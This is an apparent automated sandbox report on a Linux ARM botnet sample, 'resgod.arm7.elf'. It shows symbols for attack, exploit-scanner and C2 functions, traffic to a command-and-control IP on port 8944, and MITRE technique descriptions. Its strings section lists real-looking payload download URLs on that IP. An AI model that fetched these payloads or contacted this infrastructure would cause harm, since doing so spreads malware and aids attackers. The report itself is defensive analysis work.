_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x106c0	84	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x1486c	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x14864	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x14edc	8	FUNC	<unknown>	DEFAULT	2
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x16050	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0xf908	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x2512c	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x25414	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x1731c	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x25430	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x25420	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x2542c	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x25130	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0xf988	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x25114	4	OBJECT	<unknown>	DEFAULT	13
_stdlib_strto_l	.symtab	0x133d0	472	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_store_inttype	.symtab	0x16740	44	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x1c2c0	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x1676c	348	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0xfd38	1780	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x12c48	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_auth_entry	.symtab	0xb760	228	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x13394	32	FUNC	<unknown>	DEFAULT	2
atol	.symtab	0x13394	32	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_kill	.symtab	0x81d0	184	FUNC	<unknown>	DEFAULT	2
attack_listfork	.symtab	0x8598	196	FUNC	<unknown>	DEFAULT	2
attackpids	.symtab	0x27ee8	4	OBJECT	<unknown>	DEFAULT	14
auth_table	.symtab	0x25408	4	OBJECT	<unknown>	DEFAULT	14
auth_table_len	.symtab	0x253dc	4	OBJECT	<unknown>	DEFAULT	14
auth_table_max_weight	.symtab	0x2540c	2	OBJECT	<unknown>	DEFAULT	14
been_there_done_that	.symtab	0x27444	4	OBJECT	<unknown>	DEFAULT	14
bot	.symtab	0x27ef0	100	OBJECT	<unknown>	DEFAULT	14
brk	.symtab	0x18a30	88	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
calloc	.symtab	0x12268	320	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
can_consume	.symtab	0xb6b8	32	FUNC	<unknown>	DEFAULT	2
chdir	.symtab	0xef7c	56	FUNC	<unknown>	DEFAULT	2
chdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0xe504	76	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0xe550	152	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0xf5d8	52	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x144d0	100	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0xf17c	272	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
cncsock	.symtab	0x27f54	16	OBJECT	<unknown>	DEFAULT	14
cncsocket	.symtab	0x25108	4	OBJECT	<unknown>	DEFAULT	13
commands.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
commands_parse	.symtab	0x87ac	192	FUNC	<unknown>	DEFAULT	2
commands_process	.symtab	0x865c	336	FUNC	<unknown>	DEFAULT	2
completed.5105	.symtab	0x25300	1	OBJECT	<unknown>	DEFAULT	14
conn_table	.symtab	0x27f64	4	OBJECT	<unknown>	DEFAULT	14
connect	.symtab	0x11420	116	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
connection.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
connection_establish	.symtab	0x886c	240	FUNC	<unknown>	DEFAULT	2
consume_any_prompt	.symtab	0xb65c	92	FUNC	<unknown>	DEFAULT	2
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
deobf	.symtab	0xb700	96	FUNC	<unknown>	DEFAULT	2
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
environ	.symtab	0x27998	4	OBJECT	<unknown>	DEFAULT	14
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	8
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x135a8	196	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exp10_table	.symtab	0x1ced0	72	OBJECT	<unknown>	DEFAULT	4
exploit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exploit_init	.symtab	0x8a9c	2592	FUNC	<unknown>	DEFAULT	2
exploit_kill	.symtab	0x895c	40	FUNC	<unknown>	DEFAULT	2
exploit_pid	.symtab	0x25330	4	OBJECT	<unknown>	DEFAULT	14
exploitscanner_fake_time	.symtab	0x25368	4	OBJECT	<unknown>	DEFAULT	14
exploitscanner_recv_strip_null	.symtab	0x8a60	60	FUNC	<unknown>	DEFAULT	2
exploitscanner_rsck	.symtab	0x2533c	4	OBJECT	<unknown>	DEFAULT	14
exploitscanner_scanner_rawpkt	.symtab	0x25340	40	OBJECT	<unknown>	DEFAULT	14
exploitscanner_setup_connection	.symtab	0x8984	220	FUNC	<unknown>	DEFAULT	2
fake_time	.symtab	0x25410	4	OBJECT	<unknown>	DEFAULT	14
fclose	.symtab	0x15c24	816	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0xee88	244	FUNC	<unknown>	DEFAULT	2
fd_to_DIR	.symtab	0xf28c	208	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0xf420	176	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x175cc	940	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x170bc	324	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x17978	300	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x17200	284	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x17aa4	160	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fmt	.symtab	0x1ceb8	20	OBJECT	<unknown>	DEFAULT	4
fopen	.symtab	0x15f54	32	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x13ddc	972	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork_handler_pool	.symtab	0x27450	1348	OBJECT	<unknown>	DEFAULT	14
fprintf	.symtab	0xf7d4	48	FUNC	<unknown>	DEFAULT	2
fprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fputc_unlocked	.symtab	0x10c84	264	FUNC	<unknown>	DEFAULT	2
fputc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fputs_unlocked	.symtab	0x10d8c	56	FUNC	<unknown>	DEFAULT	2
fputs_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
frame_dummy	.symtab	0x8134	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x129cc	572	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseek	.symtab	0x18bdc	36	FUNC	<unknown>	DEFAULT	2
fseeko	.symtab	0x18bdc	36	FUNC	<unknown>	DEFAULT	2
fseeko.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseeko64	.symtab	0x18c00	448	FUNC	<unknown>	DEFAULT	2
fseeko64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x14fb8	100	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 18
• 8944 undefined
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 07:42:48.754933119 CET	59358	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:42:49.777383089 CET	59358	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:42:51.793692112 CET	59358	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:42:55.889497042 CET	59358	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:42:59.217400074 CET	48202	443	192.168.2.13	185.125.190.26
Mar 20, 2025 07:43:04.081401110 CET	59358	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:43:20.209388018 CET	59358	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:43:31.473459959 CET	48202	443	192.168.2.13	185.125.190.26
Mar 20, 2025 07:43:54.001355886 CET	59358	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:44:59.539277077 CET	59360	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:45:00.561322927 CET	59360	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:45:02.577418089 CET	59360	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:45:06.705410004 CET	59360	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:45:14.897358894 CET	59360	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:45:31.025418997 CET	59360	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 07:46:05.073380947 CET	59360	8944	192.168.2.13	104.168.101.27

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 07:45:33.312993050 CET	60288	53	192.168.2.13	1.1.1.1
Mar 20, 2025 07:45:33.313081980 CET	60717	53	192.168.2.13	1.1.1.1
Mar 20, 2025 07:45:33.415918112 CET	53	60717	1.1.1.1	192.168.2.13
Mar 20, 2025 07:45:33.416430950 CET	53	60288	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2025 07:45:33.312993050 CET	192.168.2.13	1.1.1.1	0xf52e	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 07:45:33.313081980 CET	192.168.2.13	1.1.1.1	0x3984	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2025 07:45:33.416430950 CET	1.1.1.1	192.168.2.13	0xf52e	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Mar 20, 2025 07:45:33.416430950 CET	1.1.1.1	192.168.2.13	0xf52e	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: resgod.arm7.elf PID: 5458, Parent PID: 5376

General

Start time (UTC):	06:42:48
Start date (UTC):	20/03/2025
Path:	/tmp/resgod.arm7.elf
Arguments:	/tmp/resgod.arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	06:42:48
Start date (UTC):	20/03/2025
Path:	/tmp/resgod.arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	06:42:48
Start date (UTC):	20/03/2025
Path:	/tmp/resgod.arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_kill
Source: ELF static info symbol of initial sample	Name: attack_listfork
Source: ELF static info symbol of initial sample	Name: attackpids

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: resgod.arm7.elf	String found in binary or memory: http://104.168.101.27/resgod.mips;
Source: resgod.arm7.elf	String found in binary or memory: http://104.168.101.27/sh
Source: resgod.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: resgod.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: resgod.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: resgod.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//

Source: resgod.arm7.elf	ELF static info symbol of initial sample: __gnu_unwind_execute
Source: resgod.arm7.elf	ELF static info symbol of initial sample: exploitscanner_fake_time
Source: resgod.arm7.elf	ELF static info symbol of initial sample: exploitscanner_recv_strip_null
Source: resgod.arm7.elf	ELF static info symbol of initial sample: exploitscanner_rsck
Source: resgod.arm7.elf	ELF static info symbol of initial sample: exploitscanner_scanner_rawpkt
Source: resgod.arm7.elf	ELF static info symbol of initial sample: exploitscanner_setup_connection

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report resgod.arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: resgod.arm7.elf PID: 5458, Parent PID: 5376

General

File Activities

File Opened

File Read

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: resgod.arm7.elf PID: 5460, Parent PID: 5458

General

Process Activities

Process Forked

Thread Sleep

Chronological Activities

Linux Analysis Report
resgod.arm7.elf